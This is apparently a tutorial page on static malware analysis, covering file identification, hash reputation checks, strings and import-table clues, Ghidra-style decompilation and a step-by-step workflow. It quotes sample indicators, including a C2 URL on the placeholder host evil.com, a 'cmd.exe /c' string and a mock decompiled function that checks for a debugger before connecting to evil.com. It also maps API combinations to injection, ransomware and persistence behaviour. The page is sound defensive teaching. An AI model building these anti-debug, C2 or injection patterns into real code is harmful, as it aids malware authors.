[Intermediate] — understanding a program without running it, and why it’s where every analysis starts.

The kid version first

Before you dare run a suspicious file, you examine it as it sits on disk — like reading a letter’s envelope, postmark and contents before deciding whether to open it near anything valuable. Static analysis is everything you can learn without execution: what the file claims to be, what text it contains, which system functions it calls, and — with a disassembler — what its code actually does.

It’s safe (nothing runs), it sees all the code (not just paths that happened to execute), and it’s the first move on any sample.

The cheap tells, before any disassembly

You learn a surprising amount in the first two minutes, without reading a single instruction:

File identification. file and the magic bytes tell you what it really is (a “PDF” that’s actually a PE executable is already suspicious). Hashing (sha256) gives you an identity to look up.

Hash reputation. Search the hash on VirusTotal — if 50 antivirus engines already flag it, you know it’s known malware and roughly what family. Always check the hash first; you may not need to analyse anything → the workflow. (Caveat: uploading a sample to VirusTotal makes it public — hash-lookup is safe, upload can tip off an attacker in a targeted case.)

Strings. strings dumps the readable text: URLs, IP addresses, file paths, registry keys, error messages, commands, sometimes crypto keys or the C2 server. This is the single highest-yield cheap technique — a malware sample’s strings often reveal its whole purpose (http://evil.com/gate.php, cmd.exe /c, \\Software\\Run). Obfuscated malware hides its strings (encrypted, built on the stack), and that absence is itself a signal.

Imports. The import table lists which OS functions the program calls, and it’s a behavioural fingerprint → PE format:

   CreateRemoteThread + WriteProcessMemory + VirtualAllocEx  → CODE INJECTION
   CryptEncrypt + FindFirstFile + (no CryptDecrypt)          → RANSOMWARE-shaped
   InternetOpen / WinHttpConnect                             → network/C2
   RegSetValueEx on ...\Run                                  → PERSISTENCE
   IsDebuggerPresent                                         → ANTI-ANALYSIS

You can often guess what malware does from its imports alone — which is why packers hide the import table too.

Disassembly and decompilation

To understand the actual logic, you need to read the code. Two levels:

Disassembly turns machine-code bytes back into assembly instructions:

   55                push rbp
   48 89 e5          mov  rbp, rsp
   e8 ...            call some_function

Readable, but tedious for anything large → assembly.

Decompilation goes further — it reconstructs C-like pseudocode from the assembly:

// Ghidra's decompiler output — approximate, but readable
undefined8 FUN_00401260(void) {
    if (IsDebuggerPresent() != 0) { return 0; }   // anti-debug check!
    connect_to_c2("evil.com", 443);
    ...
}

Modern decompilers changed the field. Reading pseudocode is dramatically faster than reading assembly, and it’s why an ordinary analyst can now do work that used to need assembly fluency. It’s approximate — the decompiler guesses at types and structure and sometimes gets it wrong — but it’s the right starting view.

The tools

Note
GhidraFree, from the NSA, and excellent. Full disassembler + decompiler, multi-architecture. The default recommendation — start here
IDA ProThe long-time industry standard. Superb, expensive; a free version exists with limits
Binary NinjaModern, cheaper than IDA, great API and intermediate language
radare2 / CutterFree, powerful, steep curve; Cutter is its GUI
dnSpy / ILSpyFor .NET — recovers near-original C#. Reversing managed code is easy → C#
jadxFor Android — DEX to readable Java
PEStudio / CFF ExplorerPE header, imports, resources — the “cheap tells” in a GUI

Learn Ghidra. It’s free, it does static and decompilation, and its skills transfer.

Working through it

The static workflow, in practice:

  1. Identify and hash-check — file, sha256, VirusTotal lookup
  2. Strings and imports — form a hypothesis before reading code
  3. Load into Ghidra, let it auto-analyse
  4. Start from the interesting anchors — main, or better, cross-references to an interesting import or string. “Who calls CreateRemoteThread?” jumps you straight to the injection code
  5. Follow the thread, renaming as you go — FUN_00401260 → check_debugger, DAT_00403010 → c2_domain. The renamed, annotated database is the deliverable
  6. Note what you can’t see statically — encrypted config, packed sections — as targets for dynamic analysis

Where static analysis hits a wall

It’s safe and complete, but it’s defeated by:

  • Packing/obfuscation — the code on disk is compressed or encrypted, so the disassembler sees garbage until it’s unpacked. This is the number-one reason to switch to dynamic — run it, let it unpack itself in memory, then dump → evasion
  • Runtime-resolved behaviour — code that decrypts strings, downloads its real payload, or resolves imports at runtime shows you nothing useful on disk
  • Sheer size — a large binary has too much code to read exhaustively, which is why you follow threads rather than read linearly

Key insight

Static analysis starts with the cheap tells — hash reputation, strings, and imports — which often reveal a sample’s whole purpose before you read one instruction, and only then moves to the decompiler for the logic. Modern decompilers (Ghidra’s especially) made reading pseudocode fast enough that assembly fluency is no longer the gate it was. Its limit is packing: when the code on disk is encrypted, static analysis sees garbage, and that’s precisely the signal to run the thing and watch it unpack itself.

Source: [reference] — Aug 2026. Analyse samples only in a safe, authorised setting.

↑ Back to Malware Analysis and Reverse Engineering